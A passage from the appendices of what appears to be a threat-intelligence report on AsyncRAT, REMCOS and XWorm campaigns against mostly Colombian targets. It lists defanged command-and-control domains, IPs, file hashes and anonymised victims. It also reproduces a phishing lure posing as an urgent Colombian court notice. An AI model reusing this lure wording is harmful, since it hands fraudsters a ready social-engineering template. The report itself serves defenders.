fernandogonzalez809010[.]duckdns[.]org
fernandoizquierdo9080[.]con-ip[.]com
fernandolopez105040[.]duckdns[.]org
franciscodaza3090[.]duckdns[.]org
germancastillo9050[.]duckdns[.]org
jaimegonzalez201020[.]con-ip[.]com
javiersandoval9030[.]duckdns[.]org
miguelurrutia7040[.]duckdns[.]org
rodrigobermudez9080[.]con-ip[.]com
sandraverdecia708091[.]duckdns[.]org
santiagovenecia7050[.]duckdns[.]org
santiagovenecia70502[.]duckdns[.]org
santiagovillareal101010[.]duckdns[.]org
sebastiancorrea905040[.]duckdns[.]org
sebastianguerrero5040[.]con-ip[.]com
sebastiansagbini907060[.]con-ip[.]com
sergiovalderrama2040[.]duckdns[.]org
trinidadtobago5020[.]duckdns[.]org
velisariosantiago7080[.]duckdns[.]org

Cluster 4 IP Addresses:
45[.]135[.]232[.]38
46[.]246[.]82[.]9
89[.]117[.]23[.]25
178[.]73[.]218[.]8
181[.]235[.]3[.]0
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191[.]93[.]113[.]151

Cluster 4 Domains:
aets[.]duckdns[.]org
asxyz[.]duckdns[.]org
asyfas[.]duckdns[.]org
asygo[.]duckdns[.]org
asynpro[.]duckdns[.]org
camabinga1[.]duckdns[.]org
dcfast[.]duckdns[.]org
dcglos[.]duckdns[.]org
dckazts[.]duckdns[.]org
dcmxz[.]duckdns[.]org
dcuxpag[.]duckdns[.]org
drgost[.]duckdns[.]org
drpras[.]duckdns[.]org
dxpam[.]duckdns[.]org
enviasept[.]duckdns[.]org
enviosep04[.]duckdns[.]org
keepz[.]duckdns[.]org
ojososteneragosto[.]duckdns[.]org
qfast[.]duckdns[.]org
rfwr[.]duckdns[.]org
rosks[.]duckdns[.]org
rxsas[.]duckdns[.]org
sost10[.]duckdns[.]org
sost2024ene[.]duckdns[.]org
sostenerdcrat[.]duckdns[.]org
sostenermio2024[.]duckdns[.]org
sostenermio2025[.]duckdns[.]org
sostenerstartup[.]duckdns[.]org
testedark[.]writesthisblog[.]com

Cluster 5 IP Addresses:
45[.]133[.]180[.]162
46[.]246[.]4[.]3
46[.]246[.]4[.]9
46[.]246[.]4[.]17
46[.]246[.]4[.]19
46[.]246[.]6[.]4
46[.]246[.]6[.]5
46[.]246[.]6[.]13
46[.]246[.]6[.]20
46[.]246[.]12[.]2
46[.]246[.]12[.]3
46[.]246[.]14[.]2
46[.]246[.]14[.]4
46[.]246[.]14[.]5
46[.]246[.]14[.]7
46[.]246[.]14[.]15
46[.]246[.]14[.]17
46[.]246[.]14[.]21
46[.]246[.]80[.]3
46[.]246[.]80[.]16
46[.]246[.]82[.]9
46[.]246[.]82[.]11
46[.]246[.]82[.]12
46[.]246[.]82[.]16
46[.]246[.]82[.]17
46[.]246[.]82[.]18
46[.]246[.]82[.]19
46[.]246[.]84[.]5
46[.]246[.]84[.]7
46[.]246[.]84[.]10
46[.]246[.]84[.]15
46[.]246[.]84[.]18
46[.]246[.]86[.]4
46[.]246[.]86[.]5
46[.]246[.]86[.]16
46[.]246[.]86[.]18
178[.]73[.]192[.]3
```

178[.]73[.]192[.]8
178[.]73[.]192[.]12
178[.]73[.]192[.]18
178[.]73[.]218[.]2
178[.]73[.]218[.]7
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a47039fa1a8aa88d170890d4c9a12aa356d9adbc845593cc1638c85ba120dc78
a5085f9c7304a762e274524b96dfc34f9ca243b479a2472c6e5e5b367f46114e
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aab18e256bd738597364a8a91f37b316abe540999ad13f60bfb506f3353d40db
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af5c473f2f15835d745853d7127769d77f04611efbf792634f6d1f833bd150a2
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b08e83b034213d1c4d33e29c63d8d24b99684c2714e29ae3b3aaec34d5c8d134
b219c4089fa80f02dd5ba6b280c0a3794af9cacf7460d090f23a56fb100d558c
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b2bea3384dc24126675379eb1473946f2927a10d8eff6730bc024716ef0f6864
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b315aa63ea29afe35dd51c2382d48bb6de5e1d9166368df00eb2d7750eb747f7
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b49dfaa0d915524049eb0eed26115dac421cd307551284a054a27cbbdb9aad81
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b633f0a171dbd8b0e06cee74602f9863d4133566cfb56fabfb95e281ffbb6fdb
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b7688d7428dbcc35afbff30b349adf1a16667e3736c47a9f27a86decf9d1b37e
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b7d205a1560b07a92d744053744c29823064e2c415a71887fccd8524a3cad3fb
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b97420f542add6441b0fe7389aaf327a9bbf3cca5174280b6c64de264d2dbd7c
b9a7fba5330cc0d97990178d1c492deddb1f287f21de30c40b0e4e2f47b2be21
b9df7d55692a03d3255e824a37cd53de11c07e51864809ceca01362a56b991d5
ba604a46a71d45d0bb3ba3eea9f0faece3d48ba6ff2872778057ce8a0efc0d33
bac96f81c8485c3bd6193bb3451f30feb0e972b780463beba41a9dc1121aa9c4
bbbbc1e8c660d2d8b00d87446e52d3be20da3f4da7c3505e3468ad731eff250e
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bfe2d9f203a8890182df4737119ffbdb91527754bb06e7108415a45b47ad41ef
c0cbee9a428f04a894b71255b869d00e0c2ab06dd1740bfe89338b8c65f8c46d
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c12239a964eb2a9631f02489464a67d2c0837bb36e32a53cd6bc03301082d79e
c3f5376c06e423482735d896285dd9bcbeee98874075cf47bec41e3448bd2f95
c51e59b60975fd8e8cddac0827068da0c8a4c3928c6105917cdb28b95a7cc551
c63ce128ee4c0442e303b86d27e3e7df8eff15a04a44ada8cabfa965144ccf56
c671155c2ff3529435a4facaabd8a06c6f5e559ff24763d6f387bc818c453727
c69461854c0d9bcf75261e78a94bc1a5f9b8daaf6ec536c7e83b528649f2eb5e
c931b2128f9bdbf85d0914a97dbbe76bb3220d3a402143bd14d1bf32f820214b
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c9a017f4180ec82ef8e0d2340d862bdc3d993725b8a3eff0ae15e9d2f00f4e69
cb70a3999672fb0949fcee0898f84346140a79868b0b97503cdf4ce715b86564
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d87c126baec640657fed03c6f493c2ad36b5e0f0483149b952e18688ab422276
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ed475a5fe53c368a1899fac98a6b88ec863f89ea07b7e571e6f0ec8b060262af
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f057cf513f34fa8e036010389ab288207810fc14d1230a40f51d9abb2344f1c8
f13be087d76de879d7d05da89aa14df3548b11138ef8943b2d9d11c9dd627133
f1b9bad3c87e18d9abc585e17ccb2f0e3a266006eac12a2a3e1bc180d2f8a435
f3fb0a6c6b3ba744cc8122148efd2943c8602facce97356a4008d67485afb55e
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f769521b8f831a9c7a1631dd9633e74cca1c39305ec995a4dbf8a77302ec2948
f95dac0cdd08d1f5fa2e5032cc7a95a87044201c8601198b3860e501098d6549
fa5a9e5bef372869f08e24ecfe8e68b12523f1a02607cd12d5f7f219b7dff8d1
fb66632cd45196cc46dd75ffb02537e72772d6998f39743969bbaa1852362592
fc4b79823478e62b18a49f18d70bbaf768e89e498d64b4c200ee873b1fe6554d
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fd7a64d15e03608dceb95bc0912b39f9b94327b7ba8e6c989aa29205c3819184
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Possibly Compromised Network Devices:
8[.]242[.]185[.]28
38[.]10[.]181[.]2
38[.]51[.]232[.]73
38[.]51[.]243[.]33
38[.]52[.]156[.]157
38[.]52[.]157[.]13
38[.]191[.]200[.]22
38[.]191[.]211[.]165
45[.]169[.]38[.]202
45[.]173[.]12[.]108
64[.]76[.]53[.]93
138[.]0[.]90[.]150
143[.]137[.]98[.]182
143[.]137[.]99[.]214
152[.]200[.]146[.]245
152[.]203[.]33[.]47
152[.]231[.]30[.]83
161[.]10[.]134[.]110
170[.]239[.]205[.]17
177[.]253[.]232[.]42
179[.]1[.]85[.]155
179[.]32[.]41[.]81
179[.]189[.]222[.]53
181[.]33[.]141[.]47
181[.]118[.]156[.]251
181[.]204[.]42[.]51
181[.]225[.]72[.]167
181[.]233[.]154[.]8
181[.]233[.]154[.]17
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181[.]236[.]232[.]212
185[.]75[.]12[.]39
186[.]121[.]70[.]159
186[.]168[.]153[.]205
186[.]190[.]231[.]215
190[.]0[.]246[.]233
190[.]14[.]253[.]207
190[.]60[.]35[.]218
190[.]60[.]55[.]14
190[.]102[.]120[.]123
190[.]121[.]144[.]10
190[.]121[.]150[.]213
201[.]182[.]249[.]194
201[.]182[.]249[.]243
201[.]184[.]74[.]141
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Appendix C: Cluster 1 Victims

Suspected Victim	Sector	C2 Server(s)	First Seen	Last Seen
Victim 1	Government	*146[.]70[.]137[.]90*	2025-05-20	2025-05-23
Victim 1	Government	*146[.]70[.]51[.]42*	2025-05-30	2025-06-09
Victim 2	Government	*146[.]70[.]51[.]42*	2025-05-20	2025-06-04
Victim 3	Government	*146[.]70[.]51[.]42*	2025-05-20	2025-06-04
Victim 4	Government	*146[.]70[.]137[.]90*	2025-05-20	2025-06-05
Victim 4	Government	*146[.]70[.]83[.]218*	2025-05-26	2025-05-26
Victim 5	Government	*146[.]70[.]137[.]90*	2025-05-20	2025-06-05
Victim 5	Government	*146[.]70[.]51[.]42*	2025-05-20	2025-05-20
Victim 6	Education	*146[.]70[.]51[.]42*	2025-05-27	2025-06-03
Victim 7	Government	*146[.]70[.]137[.]90*	2025-05-28	2025-06-05
Victim 8	Government	*146[.]70[.]137[.]90*	2025-05-12	2025-06-09
Victim 9	Government	*146[.]70[.]137[.]90*	2025-05-24	2025-06-06
Victim 9	Government	*193[.]56[.]253[.]66*	2025-06-10	2025-06-10
Victim 10	Government	*146[.]70[.]137[.]90*	2025-05-08	2025-05-30
Victim 11	Government	*146[.]70[.]137[.]90*	2025-05-20	2025-06-09

Suspected Victim	Sector	C2 Server(s)	First Seen	Last Seen
Victim 12	Healthcare	*146[.]70[.]137[.]90*	2025-04-30	2025-06-09
Victim 12	Healthcare	*193[.]56[.]253[.]66*	2025-06-13	2025-06-13
Victim 12	Healthcare	*45[.]133[.]180[.]26*	2025-05-06	2025-05-09
Victim 13	Government	*146[.]70[.]137[.]90*	2025-05-28	2025-06-10
Victim 14	Government	*146[.]70[.]137[.]90*	2025-06-06	2025-06-09
Victim 15	Government	*146[.]70[.]83[.]218*	2025-05-28	2025-05-29
Victim 16	Retail	*146[.]70[.]83[.]218*	2025-05-27	2025-05-30
Victim 17	Transport	*146[.]70[.]83[.]218*	2025-05-26	2025-05-29
Victim 18	Education	*146[.]70[.]83[.]218*	2025-05-29	2025-05-29
Victim 19	Education	*45[.]133[.]180[.]130*	2025-03-19	2025-03-26
Victim 19	Education	*146[.]70[.]57[.]58*	2025-04-02	2025-04-02
Victim 19	Education	*45[.]133[.]180[.]154*	2025-03-31	2025-04-08

Appendix D: Cluster 2 IP Addresses

IP Address	ASN	Suspected Type	Malware Families
45[.]77[.]72[.]102	AS20473	Virtual Private Server	AsyncRAT
64[.]188[.]9[.]172	AS36352	Proxy Server	AsyncRAT
64[.]188[.]9[.]173	AS36352	Proxy Server	AsyncRAT
64[.]188[.]9[.]175	AS36352	Proxy Server	AsyncRAT
64[.]188[.]9[.]177	AS36352	Proxy Server	AsyncRAT
179[.]14[.]8[.]131	AS27831	Colombian ISP	AsyncRAT
181[.]131[.]217[.]63	AS13489	Colombian ISP	AsyncRAT

Appendix E: “deadpoolstart”-Themed Domains Linked to Cluster 2

Domain	IP Address	First Seen	Last Seen
deadpoolstart2024[.]con-ip[.]com	*64[.]188[.]9[.]172*	2024-08-23	2025-03-12
deadpoolstart2025[.]con-ip[.]com	*64[.]188[.]9[.]172*	2024-08-14	2025-07-21
deadpoolstart2025[.]duckdns[.]org	*179[.]14[.]11[.]213*	2024-12-13	2024-12-13
deadpoolstart2025[.]duckdns[.]org	*192[.]169[.]69[.]26*	2024-12-16	2025-05-20
deadpoolstart2026[.]con-ip[.]com	*64[.]188[.]9[.]172*	2024-08-14	2025-07-09
deadpoolstart2026[.]duckdns[.]org	*179[.]14[.]11[.]213*	2024-12-20	2024-12-20
deadpoolstart2026[.]duckdns[.]org	*192[.]169[.]69[.]26*	2025-01-25	2025-07-18
deadpoolstart2027[.]con-ip[.]com	*64[.]188[.]9[.]172*	2024-08-24	2025-07-14
deadpoolstart2027[.]duckdns[.]org	*172[.]93[.]160[.]188*	2024-11-07	2024-11-07
deadpoolstart2027[.]duckdns[.]org	*192[.]169[.]69[.]26*	2025-03-12	2025-03-12
deadpoolstart2028[.]con-ip[.]com	*64[.]188[.]9[.]172*	2024-08-29	2025-07-16
deadpoolstart2028[.]duckdns[.]org	*172[.]93[.]160[.]188*	2024-11-06	2024-11-07
deadpoolstart2029[.]con-ip[.]com	*64[.]188[.]9[.]172*	2024-09-22	2025-06-30
deadpoolstart2029[.]duckdns[.]org	*192[.]169[.]69[.]26*	2025-03-03	2025-03-12
deadpoolstart2030[.]con-ip[.]com	*64[.]188[.]9[.]172*	2024-09-25	2025-07-15
deadpoolstart2030[.]duckdns[.]org	*172[.]93[.]160[.]188*	2024-10-30	2024-10-30
deadpoolstart2030[.]duckdns[.]org	*192[.]169[.]69[.]26*	2025-03-03	2025-03-03
deadpoolstart2033[.]duckdns[.]org	*191[.]88[.]249[.]175*	2025-02-12	2025-02-12
deadpoolstart2034[.]duckdns[.]org	*191[.]88[.]249[.]175*	2025-03-27	2025-03-27
deadpoolstart2035[.]duckdns[.]org	*179[.]14[.]11[.]213*	2025-01-28	2025-01-28

Domain	IP Address	First Seen	Last Seen
deadpoolstart2035[.]duckdns[.]org	*192[.]169[.]69[.]26*	2025-01-31	2025-07-17
deadpoolstart2036[.]duckdns[.]org	*179[.]14[.]11[.]213*	2025-01-29	2025-02-03
deadpoolstart2036[.]duckdns[.]org	*192[.]169[.]69[.]26*	2025-02-03	2025-07-18
deadpoolstart2037[.]duckdns[.]org	*179[.]14[.]11[.]213*	2025-01-30	2025-02-03
deadpoolstart2037[.]duckdns[.]org	*192[.]169[.]69[.]26*	2025-02-03	2025-07-17
deadpoolstart2038[.]duckdns[.]org	*192[.]169[.]69[.]26*	2025-02-05	2025-02-05
deadpoolstart2041[.]duckdns[.]org	*179[.]14[.]8[.]131*	2025-06-09	2025-06-09
deadpoolstart2044[.]duckdns[.]org	*192[.]169[.]69[.]26*	2025-05-09	2025-05-09
deadpoolstart2044[.]duckdns[.]org	*191[.]88[.]249[.]175*	2025-03-12	2025-03-12
deadpoolstart2049[.]duckdns[.]org	*179[.]14[.]8[.]131*	2025-07-11	2025-07-11
deadpoolstart2049[.]duckdns[.]org	*177[.]255[.]84[.]173*	2025-04-12	2025-04-12
deadpoolstart2051[.]duckdns[.]org	*192[.]169[.]69[.]26*	2025-05-02	2025-07-18
deadpoolstart2051[.]duckdns[.]org	*177[.]255[.]84[.]173*	2025-04-29	2025-05-01
deadpoolstart2052[.]duckdns[.]org	*179[.]14[.]8[.]131*	2025-05-11	2025-05-11
deadpoolstart2053[.]duckdns[.]org	*179[.]14[.]8[.]131*	2025-05-11	2025-05-11
deadpoolstart2054[.]duckdns[.]org	*179[.]14[.]8[.]131*	2025-05-26	2025-05-26
deadpoolstart2059[.]duckdns[.]org	*179[.]14[.]8[.]131*	2025-05-23	2025-05-23
deadpoolstart2060[.]duckdns[.]org	*192[.]169[.]69[.]26*	2025-06-29	2025-07-21
deadpoolstart2061[.]duckdns[.]org	*181[.]131[.]217[.]63*	2025-06-17	2025-06-30
deadpoolstart2061[.]duckdns[.]org	*192[.]169[.]69[.]26*	2025-06-30	2025-07-17
deadpoolstart2063[.]duckdns[.]org	*181[.]131[.]217[.]63*	2025-06-29	2025-06-29

Domain	IP Address	First Seen	Last Seen
deadpoolstart2064[.]duckdns[.]org	*181[.]131[.]217[.]63*	2025-07-03	2025-07-04
deadpoolstart2065[.]duckdns[.]org	*181[.]131[.]217[.]63*	2025-07-04	2025-07-05

Appendix F: Cluster 2 Victims

Suspected Victim	Sector	C2 Server(s)	First Seen	Last Seen
Victim 20	Government	*64[.]188[.]9[.]173*	2024-10-11	2024-10-22
Victim 20	Government	*64[.]188[.]9[.]177*	2024-10-16	2024-10-16
Victim 21	Transport	*64[.]188[.]9[.]173*	2024-10-11	2024-10-21
Victim 22	Education	*64[.]188[.]9[.]177*	2024-10-16	2024-10-31
Victim 23	Education	*64[.]188[.]9[.]177*	2024-10-19	2024-10-19
Victim 24	Government	*64[.]188[.]9[.]172*	2024-10-01	2024-10-06
Victim 25	Government / Defense	*64[.]188[.]9[.]172*	2024-10-11	2024-10-15
Victim 26	Government	*64[.]188[.]9[.]173*	2024-10-24	2024-10-24
Victim 27	Retail	*64[.]188[.]9[.]177*	2024-12-20	2024-12-20
Victim 28	Oil	*64[.]188[.]9[.]173*	2024-10-11	2024-10-30

Appendix G: Cluster 3 IP Addresses

IP Address	ASN	Type	Malware Families
181[.]131[.]216[.]206	AS13489	Colombian ISP	REMCOS RAT
181[.]131[.]218[.]182	AS13489	Colombian ISP	REMCOS RAT
181[.]131[.]219[.]42	AS13489	Colombian ISP	REMCOS RAT, AsyncRAT

Appendix H: Cluster 4 IP Addresses

IP Address	ASN	Suspected Type	Malware Family
45[.]135[.]232[.]38	AS198953	Virtual Private Server	AsyncRAT
46[.]246[.]82[.]9	AS42708	Virtual Private Server	XWorm
89[.]117[.]23[.]25	AS40021	Virtual Private Server	REMCOS RAT
178[.]73[.]218[.]8	AS42708	Virtual Private Server	AsyncRAT
181[.]235[.]3[.]0	AS3816	Colombian ISP	AsyncRAT
191[.]93[.]113[.]151	AS27831	Colombian ISP	AsyncRAT

Appendix I: Cluster 5 Domains

Domain	First Seen	Last Seen	Malware Families
2seguro2025[.]duckdns[.]org	2025-04-01	2025-07-09	N/A
ansy10jun[.]duckdns[.]org	2025-06-21	2025-06-29	AsyncRAT
ansy1703[.]duckdns[.]org	2025-03-20	2025-06-14	AsyncRAT
asegurar2octubre[.]duckdns[.]org	2025-03-12	2025-07-17	AsyncRAT
asegurar3octubre[.]duckdns[.]org	2025-05-08	2025-07-18	AsyncRAT
bb2023[.]duckdns[.]org	2025-06-13	2025-07-10	N/A
dcabril[.]duckdns[.]org	2025-06-13	2025-07-19	N/A
gotemburgoxm[.]duckdns[.]org	2025-05-07	2025-07-15	REMCOS RAT, XWorm
romanovas[.]duckdns[.]org	2025-03-04	2025-06-19	LimeRAT

Appendix J: Original SVG Attachment



Rama Judicial
Consejo Superior de la Judicatura
República de Colombia

JUZGADO 11 CIVIL DEL CIRCUITO

NOTIFICACIÓN URGENTE – COMPARECENCIA OBLIGATORIA

Radicado: 125001-03-06-2025-005798

Se le notifica oficialmente que se ha iniciado un proceso judicial en su contra bajo la modalidad de proceso de cobro coactivo, conforme a lo dispuesto en el Artículo 823 del Estatuto Tributario y el Artículo 99 de la Ley 1437 de 2011.

En caso de no presentarse ni atender esta citación dentro del término legal estipulado, se podrán implementar medidas cautelares inmediatas, tales como el embargo de bienes, cuentas bancarias o la retención de activos. No se concede recurso alguno contra esta notificación.

Este proceso tiene carácter obligatorio y vinculante, y su inasistencia podría derivar en afectaciones crediticias, inclusión en listas de morosos, y procedimientos de ejecución forzada sobre su patrimonio personal. Se recomienda actuar con prontitud para evitar consecuencias legales adicionales.

Para consultar los detalles del proceso, pruebas adjuntas y las implicaciones legales, acceda al documento oficial en PDF disponible a continuación:

Descargar en pdf

Atentamente,
JUZGADO 11 CIVIL DEL CIRCUITO
Rama Judicial del Poder Público

Appendix K: MITRE ATT&CK Techniques

Tactic: Technique	ATT&CK Code
Command and Control: Application Layer Protocol: Web Protocols	T1071.001
Command and Control: Encrypted Channel: Asymmetric Cryptography	T1573.002
Command and Control: Encrypted Channel: Symmetric Cryptography	T1573.001
Command and Control: Ingress Tool Transfer	T1105
Defense Evasion: Modify Registry	T1112
Discovery: System Information Discovery	T1082
Discovery: Query Registry	T1012
Execution: Command and Scripting Interpreter: PowerShell	T1059.001
Initial Access: Spearphishing Link	T1566.002

Tactic: Technique	ATT&CK Code
Resource Development: Acquire Infrastructure: Domains	T1583.001
Resource Development: Acquire Infrastructure: Virtual Private Server	T1583.003
Resource Development: Acquire Infrastructure: Server	T1583.004
Resource Development: Acquire Infrastructure: Malvertising	T1583.008
Resource Development: Compromise Infrastructure: Server	T1584.004
